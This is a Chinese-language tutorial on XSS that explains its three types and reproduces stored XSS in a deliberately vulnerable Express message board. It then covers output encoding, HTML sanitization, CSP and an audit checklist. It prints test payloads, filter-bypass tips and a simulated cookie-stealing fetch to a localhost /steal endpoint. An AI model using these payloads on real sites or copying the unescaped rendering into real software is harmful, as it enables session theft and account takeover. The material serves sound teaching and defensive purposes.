Web安全必修课:深入理解XSS攻击原理、分类与实战防御

📅 2026/7/15 17:33:33
Web安全必修课:深入理解XSS攻击原理、分类与实战防御
1. 项目概述为什么XSS是每个Web开发者的必修课如果你刚接触Web安全或者是一名后端、前端开发者听到“XSS攻击”这个词可能会觉得既熟悉又陌生。熟悉是因为它总出现在各种安全报告里陌生是因为很多人觉得这是安全专家的领域离自己的日常开发很远。但事实恰恰相反XSS跨站脚本攻击是Web世界中最普遍、最贴近开发者、也最容易因疏忽而引入的漏洞之一。它不像那些需要复杂利用链的底层漏洞XSS的成因往往很简单开发者过于信任用户输入的数据并把这些数据未经处理就直接“画”在了网页上。想象一下你正在开发一个博客系统的评论功能。用户A提交了一条评论“这篇文章真棒”。你的网站后台接收后直接把这条评论插入到网页的HTML代码中展示给用户B看。这看起来很合理。但如果用户A提交的评论内容是scriptalert(你的账号已被我接管)/script呢如果后端没有做任何过滤前端又直接把这串文本当作HTML代码的一部分渲染出来那么所有看到这条评论的用户他们的浏览器都会忠实地执行这段JavaScript代码弹出一个警告框。这只是一个无害的“弹窗”但攻击者完全可以替换成窃取用户Cookie、将页面跳转到钓鱼网站、甚至以用户身份执行操作的恶意脚本。这就是XSS最核心的原理将恶意脚本注入到原本可信的网页中并在其他用户的浏览器中执行。我见过太多因为一个未经验证的搜索框、一个富文本编辑器、甚至一个URL参数而引发的安全事件。对于攻击者而言XSS是进入系统的一扇“便捷之门”对于开发者理解并防御XSS是构建可靠Web应用的基本功。这篇文章我将抛开复杂的学术定义从一个实践者的角度带你从零理解XSS的原理、看清它的各种“变装”分类并亲手搭建一个最简单的环境来复现它。只有亲眼看到漏洞是如何产生的你才能真正理解防御的必要性。收藏这一篇当你下次写innerHTML或拼接HTML字符串时心里自然会多一根弦。2. XSS攻击核心原理深度拆解要防御XSS绝不能停留在“对输入转义”这个模糊的概念上。我们必须深入骨髓地理解攻击是如何发生的以及浏览器在其中扮演了什么角色。2.1 信任的崩塌数据与代码的边界混淆Web应用的核心逻辑是“数据驱动视图”。服务器产生或存储数据如用户名、评论内容、商品描述然后通过HTML、CSS、JavaScript这些“代码”来组织和展示这些数据。在一个安全的模型中数据和代码的边界应该是清晰且不可逾越的。数据永远被当作纯文本或属性值来处理而代码HTML标签、JavaScript逻辑则由开发者完全控制。XSS攻击的本质就是攻击者巧妙地模糊并跨越了这条边界。他们向Web应用提交的输入不再是普通的数据而是精心构造的、包含可执行代码特征的字符串。当应用错误地将这些字符串当作代码的一部分而非数据解释时漏洞就产生了。这个过程涉及三个关键角色攻击者提交恶意输入。存在漏洞的Web应用未能正确区分数据与代码将恶意输入拼接进响应页面。受害者的浏览器它无条件信任服务器返回的HTML并执行其中所有的合法代码包括被注入的恶意脚本。注意这里有一个非常重要的认知点。XSS的漏洞点始终在服务器端或生成页面的逻辑端是服务器端的代码没有做好过滤或编码。但漏洞的触发和影响端在客户端用户的浏览器。所以防御的责任主要在服务端和前端框架的开发者身上。2.2 浏览器的渲染引擎漏洞的最终执行者理解浏览器如何解析HTML和JavaScript是理解XSS利用方式的关键。当浏览器收到服务器返回的HTML文档后它会启动一个复杂的解析过程词法分析 语法分析将HTML字符串转换成一颗DOM文档对象模型树。构建DOM树解析到script标签、onclick等HTML属性时会触发JavaScript引擎的执行。执行JavaScriptJavaScript引擎会执行脚本脚本可以动态修改DOM树。XSS攻击成功的关键在于恶意字符串被解析器识别为有效的HTML元素或JavaScript代码而不是普通的文本节点。例如如果恶意字符串/scriptscriptalert(1)/script被插入到两个script标签之间它可能会提前闭合原有脚本块并开启一个新的恶意脚本块。如果恶意字符串 onmouseoveralert(1)被插入到一个HTML标签的属性里比如img src和之间它会改变原有属性的结构注入新的事件处理器。浏览器的解析规则是严格且公开的攻击者正是利用这些规则像玩拼图一样构造出能够“骗过”解析器使其将数据误认为代码的字符串。2.3 从原理到实践一个最简单的漏洞模型让我们用一段极度简化的伪代码来描述漏洞产生的全过程!-- 服务器端存在漏洞的PHP/Python/Node.js等代码 -- h1欢迎您?php echo $_GET[‘username‘]; ?/h1 !-- 攻击者发起的请求 -- 访问链接http://vulnerable-site.com/welcome?usernamescriptalert(‘xss‘)/script !-- 服务器返回的最终HTML漏洞已产生 -- h1欢迎您scriptalert(‘xss‘)/script/h1在这个模型里数据源是URL查询参数username$_GET[‘username‘]。接收点Sink是HTML文档的主体部分h1标签内。漏洞动作服务器使用echo或类似函数直接将用户输入拼接进HTML响应未做任何处理。结果输入中的script标签被浏览器解析为HTML元素其中的JavaScript代码alert(‘xss‘)得以执行。这个模型虽然简单但揭示了所有XSS的共性不可信的数据在未被适当处理的情况下流入了一个可以被解析为代码的上下文Context中。后续所有的分类和高级技巧都是这个基本模型在不同上下文HTML标签内、属性内、JavaScript字符串内、CSS内等下的变种和应用。3. XSS攻击的三大分类与实战场景剖析根据恶意脚本的存储位置和触发方式XSS主要分为三类反射型、存储型和DOM型。理解它们的区别对于精准防御至关重要。3.1 反射型XSS一次性的“钓鱼钩”反射型XSSReflected XSS是最常见也相对容易理解的一种。它的特点是“非持久化”。恶意脚本不会存储在服务器数据库或文件里而是“反射”在当次的HTTP响应中。攻击流程攻击者构造一个包含恶意脚本的URL。通过社交工程如钓鱼邮件、即时消息诱骗受害者点击这个URL。受害者点击后浏览器向漏洞网站发起请求恶意脚本作为请求参数如查询字符串、POST数据发送到服务器。服务器在未过滤的情况下将恶意脚本拼接进返回的页面。受害者的浏览器解析响应页面执行恶意脚本。典型场景搜索框搜索关键词回显在结果页标题或页面内容中。/search?qscript.../script。错误信息页将用户输入的错误信息直接显示在页面上。/error?msgimg src1 onerroralert(1)。URL重定向参数跳转前的确认页面回显目标URL。/redirect?urljavascript:alert(1)。实操心得反射型XSS的利用依赖用户交互点击链接这在一定程度上提高了攻击门槛。但别掉以轻心攻击者会利用短链接服务隐藏长长的恶意参数或者将漏洞URL嵌入到其他网站的iframe中进行更隐蔽的攻击。防御反射型XSS核心在于对所有输出到HTML页面上的用户输入进行正确的转义。3.2 存储型XSS潜伏的“定时炸弹”存储型XSSStored XSS 或 Persistent XSS的危害性最大。恶意脚本被永久地存储到服务器端的目标介质中如数据库、文件系统、评论、用户资料、文章内容等。任何一个用户只要访问到加载了这些恶意数据的页面都会中招。攻击流程攻击者将恶意脚本作为普通数据提交到网站如发表一篇带脚本的博客评论。网站后端程序未经验证和过滤便将数据存入数据库。当其他正常用户浏览包含这条评论的页面时网站从数据库读取评论内容并输出到页面。用户的浏览器解析页面执行隐藏在评论中的恶意脚本。典型场景论坛/博客评论经典场景攻击脚本随评论被存储和展示。用户昵称/个人简介存储在用户表里在用户中心、帖子作者信息等处展示。网站公告/文章系统拥有内容发布权限的管理员账号被劫持后可能发布包含恶意脚本的文章。私信/站内信查看消息时触发。注意事项存储型XSS的可怕之处在于它的“一次注入长期影响”。它不需要诱骗用户点击特定链接只要用户访问正常页面即可触发。这相当于在网站内部埋下了一颗定时炸弹影响所有访问者。防御存储型XSS除了输出转义更强调输入验证和过滤。需要在数据入库前就根据其预期的类型文本、HTML、URL等进行严格的检查和净化。3.3 DOM型XSS纯前端的“逻辑陷阱”DOM型XSSDOM-based XSS是一种比较特殊的类型。它的漏洞根源不在服务器端的代码而在于客户端JavaScript逻辑。服务器返回的响应本身可能是“干净”的但页面中的JavaScript代码通常是操作DOM的代码在处理用户可控的数据时不安全地将其写入了DOM从而导致了脚本执行。攻击流程攻击者构造一个包含恶意片段的URL其中含有#号后的片段标识符hash或查询参数。受害者访问该URL。页面中的JavaScript代码例如使用location.hash或document.URL读取URL中的攻击载荷。JavaScript代码以不安全的方式如innerHTML、document.write、eval将攻击载荷写入DOM。浏览器更新DOM解析并执行新插入的恶意脚本。典型场景基于URL片段Hash的动态内容加载单页面应用SPA中根据window.location.hash来加载不同模块。不安全的JavaScript库方法调用如eval(‘var name“‘ userInput ‘“;‘)或setTimeout(userInput, 100)。使用innerHTML赋值document.getElementById(‘div‘).innerHTML userSuppliedData;一个简单例子假设有一个页面其JavaScript代码如下// 从当前URL的hash中获取消息并显示 var msg decodeURIComponent(window.location.hash.substr(1)); document.getElementById(‘message‘).innerHTML ‘Hello, ‘ msg;正常访问http://example.com/page.html#World页面显示 “Hello, World”。 恶意访问http://example.com/page.html#img src1 onerroralert(1)页面会将hash解码后直接通过innerHTML插入导致onerror事件触发执行JavaScript。排查技巧DOM型XSS的排查相对困难因为它不涉及服务器端代码审计。需要使用浏览器的开发者工具仔细审查所有从location、document.URL、document.referrer等来源获取数据并最终流向innerHTML、outerHTML、document.write()、eval()等“危险函数”的代码路径。防御DOM型XSS要求前端开发者严格避免使用危险的DOM操作API处理用户数据转而使用安全的API如textContent或经过验证的模板引擎。4. 手把手搭建环境复现一个经典的存储型XSS“纸上得来终觉浅绝知此事要躬行。” 安全尤其如此。下面我将带你使用最常见的Node.js Express框架快速搭建一个存在存储型XSS漏洞的简易留言板并完成攻击复现。通过这个动手过程你会对漏洞的产生有刻骨铭心的认识。4.1 环境准备与项目初始化首先确保你的系统已经安装了Node.js建议版本14以上和npm。然后我们创建一个新的项目目录并初始化。# 1. 创建项目目录并进入 mkdir xss-demo-board cd xss-demo-board # 2. 初始化npm项目一路回车使用默认值即可 npm init -y # 3. 安装必要的依赖ExpressWeb框架和 body-parser解析POST请求体 npm install express body-parser接下来我们创建项目的入口文件app.js。4.2 漏洞代码编写一个不设防的留言板在xss-demo-board目录下创建app.js文件并写入以下代码。这段代码故意留下了严重的XSS漏洞。// app.js - 存在存储型XSS漏洞的留言板服务端代码 const express require(‘express‘); const bodyParser require(‘body-parser‘); const app express(); const port 3000; // 使用 body-parser 中间件来解析POST请求的form数据 app.use(bodyParser.urlencoded({ extended: false })); // 模拟一个“数据库”用一个数组在内存中存储留言 let messages [ { id: 1, user: ‘管理员‘, content: ‘欢迎来到留言板请遵守规则。‘ }, { id: 2, user: ‘游客A‘, content: ‘这个网站真不错。‘ } ]; // 设置模板引擎这里使用简单的字符串拼接代替实际项目勿用 app.engine(‘html‘, (filePath, options, callback) { // 这是一个极其不安全的“模板引擎”直接拼接字符串仅用于演示漏洞 let rendered !DOCTYPE html html head title简易留言板XSS演示/title stylebody { font-family: sans-serif; margin: 40px; } .message { border: 1px solid #ccc; padding: 15px; margin: 10px 0; }/style /head body h1简易留言板/h1 form action/post methodPOST 昵称: input typetext nameuserbrbr 留言: textarea namecontent rows4 cols50/textareabrbr input typesubmit value提交留言 /form hr h2历史留言/h2 ; // 关键漏洞点直接将用户输入的内容拼接进HTML没有进行任何转义 options.messages.forEach(msg { rendered div classmessage strong${msg.user}/strong (ID: ${msg.id}) 说br ${msg.content} !-- 危险content直接输出 -- /div ; }); rendered ‘/body/html‘; callback(null, rendered); }); app.set(‘views‘, ‘./‘); // 视图目录设为当前目录实际不存在文件 app.set(‘view engine‘, ‘html‘); // 首页展示所有留言 app.get(‘/‘, (req, res) { // 直接将 messages 数组传给“模板” res.render(‘index‘, { messages: messages }); }); // 处理留言提交的POST请求 app.post(‘/post‘, (req, res) { const { user, content } req.body; if (user content) { // 将用户提交的留言直接存入“数据库”数组 const newMsg { id: messages.length 1, user: user, // 昵称也未过滤 content: content // 留言内容未过滤 }; messages.push(newMsg); console.log(新留言 [ID:${newMsg.id}] 来自: ${user}); } // 提交后重定向回首页 res.redirect(‘/‘); }); // 启动服务器 app.listen(port, () { console.log(存在XSS漏洞的留言板应用运行在http://localhost:${port}); console.log(‘警告此应用仅用于安全演示切勿部署到公网‘); });代码漏洞解析数据存储第38-39行app.post(‘/post‘)路由中我们直接将用户通过表单提交的user昵称和content留言内容存入内存数组messages中没有进行任何过滤或验证。数据展示第22-28行在自定义的“模板引擎”渲染函数中我们使用字符串模板直接拼接HTML。最关键的是第27行${msg.content}。这里将存储的留言内容直接插入到HTML字符串中。如果msg.content包含scriptalert(1)/script它就会被原封不动地输出到最终的HTML页面里并被浏览器解析为脚本执行。昵称字段第26行${msg.user}同样存在漏洞攻击者也可以利用昵称字段注入。4.3 启动应用与发起攻击启动服务器在终端中运行node app.js。你会看到提示信息应用运行在http://localhost:3000。访问应用用浏览器打开http://localhost:3000。你会看到一个极其简陋的留言板页面已经有两条预设留言。发起XSS攻击在“昵称”和“留言”框中尝试输入以下内容之一每次提交一条基础弹窗scriptalert(‘XSS攻击成功‘)/script利用HTML标签事件更常用因为某些场景下script标签可能被过滤img src“invalid.jpg“ onerror“alert(‘通过图片加载错误触发XSS‘)“窃取Cookie的模拟攻击仅本地演示无实际危害scriptfetch(‘http://localhost:3000/steal?cookie‘ document.cookie)/script需要你实现一个/steal路由来接收这里仅示意。点击“提交留言”。观察结果提交后页面刷新。你刚刚提交的留言会显示在历史列表中。如果输入的是弹窗脚本你会立即看到弹窗。如果输入的是图片错误事件由于src指向不存在的图片onerror事件会触发同样执行弹窗。实操现场记录当我提交img src“x“ onerror“alert(1)“后页面刷新在新留言的“内容”部分浏览器并没有显示一段文本而是真的尝试加载一个名为“x”的图片。加载失败后触发了onerror事件成功弹出了警告框。查看网页源代码CtrlU你会发现这条留言的HTML代码是img src“x“ onerror“alert(1)“。它已经不再是数据而是成为了页面DOM结构的一部分。这就是存储型XSS被成功注入并执行的铁证。4.4 漏洞原理在代码中的体现通过这个复现你可以清晰地看到漏洞产生的完整链条输入点留言板的表单输入框user和content。接收点Sink服务端渲染模板中的字符串拼接点${msg.content}和${msg.user}。缺乏处理从输入点到接收点数据没有经过任何HTML编码或过滤。触发执行恶意数据作为HTML的一部分被发送到浏览器浏览器将其解析为有效的HTML标签和JavaScript事件并执行。这个例子虽然简单但它完美地复现了现实世界中无数Web应用曾犯过的错误信任用户输入并将其直接嵌入到代码上下文HTML中。5. 从攻击到防御核心防护策略与最佳实践复现漏洞是为了更好地防御它。现在我们知道了漏洞是如何产生的接下来就要在代码层面筑起防线。防御XSS的核心思想是明确数据边界根据输出上下文进行编码或过滤。5.1 输出编码给数据穿上“防弹衣”输出编码Output Encoding是防御XSS最主要、最有效的手段。它的原理不是“拒绝”或“删除”危险字符而是将它们转义Escape使其在特定的输出上下文中失去特殊含义变成普通的文本。关键原则编码必须在输出时进行并且编码规则取决于输出目标上下文。HTML正文上下文将数据输出在HTML标签之间如div这里/div。危险字符,,,,‘编码规则-amp;-lt;-gt;-quot;‘-#x27;(或apos;但HTML中不是必须)效果scriptalert(1)/script会被编码为lt;scriptgt;alert(1)lt;/scriptgt;浏览器会将其显示为一段文本而不会解析为脚本标签。HTML属性上下文将数据输出为HTML标签的属性值如input value“这里”。危险字符除了上述字符属性值如果未用引号包裹空格和许多其他字符也是危险的。最佳实践是始终用双引号包裹属性值。编码规则同上但尤其要处理引号。确保属性值被引号包围并对其中的引号进行编码。效果“ onmouseover“alert(1)作为value属性值会被编码为quot; onmouseoverquot;alert(1)最终渲染为input value“quot; onmouseoverquot;alert(1)“onmouseover成为了属性值的一部分文本而非新属性。JavaScript上下文将数据输出到script标签内的JavaScript代码中。危险字符会破坏JS字符串或语法的字符如引号、换行符、反斜杠等。编码规则通常需要对其进行Unicode转义或使用JSON序列化。效果将用户输入user‘s data“作为JS字符串变量时应编码为user\u0027s data\u0022或通过JSON.stringify()处理。URL上下文将数据作为URL的一部分输出如a href“这里”。危险字符空格、引号、javascript:协议等。编码规则使用URL编码百分比编码如javascript:alert(1)应被拒绝或严格验证确保协议是http/https。实操建议不要自己写编码函数使用成熟、经过安全审计的库。例如Node.js:escape-html库用于HTML编码。Java: OWASP ESAPI 编码器。Python:html模块的escape()函数。现代前端框架React, Vue, Angular: 默认已对模板中的插值进行HTML编码这是它们最大的安全优势之一。但要注意使用dangerouslySetInnerHTML(React) 或v-html(Vue) 时的风险。5.2 输入验证与过滤设立第一道关卡虽然输出编码是最终的防线但良好的输入验证Validation和过滤Sanitization可以作为重要的补充和第一道关卡。输入验证检查数据是否符合预期的格式、类型、长度和范围。例如邮箱字段应该符合邮箱格式年龄字段应该是数字且在合理范围内。验证不通过则拒绝请求。作用阻止明显非法或畸形的数据进入系统减少攻击面。对于非文本数据如文件上传尤其重要。工具使用验证库如JoiNode.js、PydanticPython、Hibernate ValidatorJava。输入过滤针对特定上下文在数据入库或处理前移除或转义其中的危险字符。注意过滤规则必须与最终的输出上下文匹配否则可能无效或引入新问题。富文本场景这是最需要过滤的地方。用户可能需要提交带格式的文本如加粗、图片。绝对不能使用简单的黑名单禁止script或转义所有HTML这会破坏格式。解决方案使用严格的白名单策略只允许安全的HTML标签和属性。使用专业的HTML净化库JavaScript:DOMPurifyPython:bleachJava: OWASP Java HTML Sanitizer示例使用DOMPurify:const cleanHtml DOMPurify.sanitize(userInput, { ALLOWED_TAGS: [‘b‘, ‘i‘, ‘em‘, ‘strong‘, ‘a‘, ‘p‘, ‘ul‘, ‘li‘, ‘img‘], ALLOWED_ATTR: [‘href‘, ‘src‘, ‘alt‘] }); // 现在 cleanHtml 可以安全地用于 innerHTML重要心得“输出编码”为主“输入验证/过滤”为辅。永远不要只依赖输入过滤来防御XSS因为数据可能在多个地方以不同上下文输出你无法预知所有场景。输出编码是确保安全的最可靠方法。输入过滤主要用于处理富文本等特殊需求。5.3 内容安全策略浏览器端的最后屏障内容安全策略Content Security Policy, CSP是一个强大的深度防御层。它不是一个修复漏洞的工具而是一个可以显著降低XSS攻击危害的缓解机制。CSP通过HTTP响应头告诉浏览器哪些外部资源脚本、样式、图片、字体等是允许加载和执行的。核心原理即使攻击者成功注入了恶意脚本如果该脚本的来源不在CSP允许的白名单内浏览器将拒绝执行它。一个简单的CSP头示例Content-Security-Policy: default-src ‘self‘; script-src ‘self‘ https://trusted.cdn.com;default-src ‘self‘默认只允许加载同源当前域名的资源。script-src ‘self‘ https://trusted.cdn.com脚本只能从同源或https://trusted.cdn.com加载。CSP的关键指令script-src控制JavaScript的执行来源。使用‘nonce-xxx‘每次页面请求生成一个随机数或‘hash-xxx‘基于脚本内容计算哈希值可以安全地允许内联脚本这是防御内联XSS的利器。style-src控制CSS样式表的来源。img-src控制图片的来源。connect-src控制XMLHttpRequest, WebSocket, fetch等连接的目标。report-uri/report-to指定一个URL浏览器会将违反CSP的行为报告到此地址用于监控和调试。部署建议从报告模式开始使用Content-Security-Policy-Report-Only头先不阻塞任何内容只收集违规报告确保策略不会破坏网站正常功能。逐步收紧策略根据报告逐步将必要的资源域名加入白名单最终移除Report-Only启用强制执行模式。避免使用‘unsafe-inline‘和‘unsafe-eval‘这两个关键字会大大削弱CSP的防护能力。应使用nonce或hash来允许必要的内联脚本/样式。CSP是现代Web应用安全架构中不可或缺的一环它能有效遏制数据窃取、加密货币挖矿脚本等XSS后续攻击。6. 进阶话题与常见问题排查实录在实际开发和审计中你会遇到比基础示例更复杂的情况。下面分享一些进阶场景和踩坑经验。6.1 富文本编辑器的安全处理这是XSS防御的重灾区。用户需要提交HTML但你又不能全盘接受。错误做法使用黑名单过滤如替换掉script。攻击者有无数种方法绕过如ScRiPt、img onerror“...”、svg onload“...”等。在后端使用简单的正则表达式。HTML和JavaScript的语法非常复杂正则很难做到完备和安全。正确做法重申使用专业的净化库如前面提到的DOMPurify、bleach。它们基于白名单解析HTML为DOM树然后只保留允许的标签和属性安全性远高于字符串处理。在服务端进行净化绝对不要只依赖前端净化。攻击者可以绕过浏览器直接向API发送恶意数据。严格定义白名单只开放业务必须的标签和属性。例如允许a但必须要有href且其协议只能是http/https/mailto允许img但必须要有src且最好能验证图片URL和格式。净化后仍需编码如果你将净化后的HTML输出到非HTML上下文如JSON API响应仍需进行相应的编码。6.2 前端框架下的XSS风险现代前端框架如React、Vue、Angular提供了默认的XSS防护因为它们使用数据绑定的方式更新DOM默认会对绑定值进行HTML编码。安全示例Reactfunction Welcome(props) { // 安全props.username 中的 script 会被转义为文本 return h1Hello, {props.username}/h1; } // 即使用户名是 scriptalert(1)/script页面上也只会显示这段文本。危险APIReact为例dangerouslySetInnerHTML顾名思义这是危险的。如果你必须使用它那么传入的内容必须是你完全信任的或者已经过严格净化。// 危险直接渲染未净化的用户输入 div dangerouslySetInnerHTML{{__html: userContent}} / // 相对安全假设mySanitizer是可靠的 const cleanContent mySanitizer(userContent); div dangerouslySetInnerHTML{{__html: cleanContent}} /直接操作DOM通过ref获取DOM节点后使用innerHTML等同于原生JS的危险操作。使用eval()或new Function()执行动态字符串这不仅是XSS问题更是严重的代码注入漏洞。框架使用心得信任框架的默认安全机制但要对那些“逃生舱口”如dangerouslySetInnerHTML,v-html保持高度警惕。永远不要将未经净化的用户数据传递给这些API。6.3 常见问题排查清单当你怀疑或需要检查一个应用是否存在XSS漏洞时可以遵循以下思路寻找所有用户输入点URL参数查询字符串、路径参数HTTP请求头如User-Agent, Referer虽然不常见POST/PUT请求体表单字段、JSON/XML数据Cookie本地存储LocalStorage, SessionStorage读取后输出第三方API返回的数据跟踪数据流定位输出点Sink服务端渲染查找所有将变量输出到HTML模板的地方如{{variable}},% variable %。客户端渲染查找所有使用innerHTML,outerHTML,document.write(),eval(),setTimeout(string),location.href ‘javascript:...‘等危险API的地方。关注那些将用户可控数据来自location.search,localStorage等传递给这些API的代码路径。测试Payload试探性Payload输入“img srcx onerroralert(1)观察页面是否弹窗或HTML结构是否被改变。多种上下文测试HTML正文scriptalert(1)/script,img src1 onerroralert(1)HTML属性“ onmouseover“alert(1)JavaScript字符串‘;alert(1);//URL上下文javascript:alert(1)编码绕过测试如果发现某些字符被过滤尝试URL编码、HTML实体编码、Unicode编码等。例如被过滤尝试lt;如果解码不当可能生效或\u003c。检查防御措施查看HTTP响应头是否有Content-Security-Policy查看输出内容特殊字符是否被正确编码查看网页源代码而非渲染后的页面对于富文本是否使用了可靠的白名单净化库一个真实的排查案例在一次内部审计中我发现一个功能点页面会根据URL参数?langen来动态加载一个语言配置的JSONP回调。代码大致如下// 从URL获取语言参数 var lang getQueryParam(‘lang‘) || ‘zh-CN‘; // 动态创建script标签加载语言包 var script document.createElement(‘script‘); script.src ‘/api/lang?callbacksetLanglang‘ lang; document.head.appendChild(script);粗看似乎没问题。但getQueryParam函数没有对lang参数做任何处理。攻击者可以构造这样的URL?langzh-CN‘;alert(1);//。拼接后的src变为/api/lang?callbacksetLanglangzh-CN‘;alert(1);//。如果服务端没有严格验证返回的JSONP响应可能是setLang(‘zh-CN‘);alert(1);//‘, {...})这就导致了XSS。这里的漏洞点在于用户输入被直接拼接进了JavaScript代码的字符串上下文且没有进行编码。修复方法是严格验证lang参数只能是预定义的语言代码之一或者对输入进行严格的JSON编码。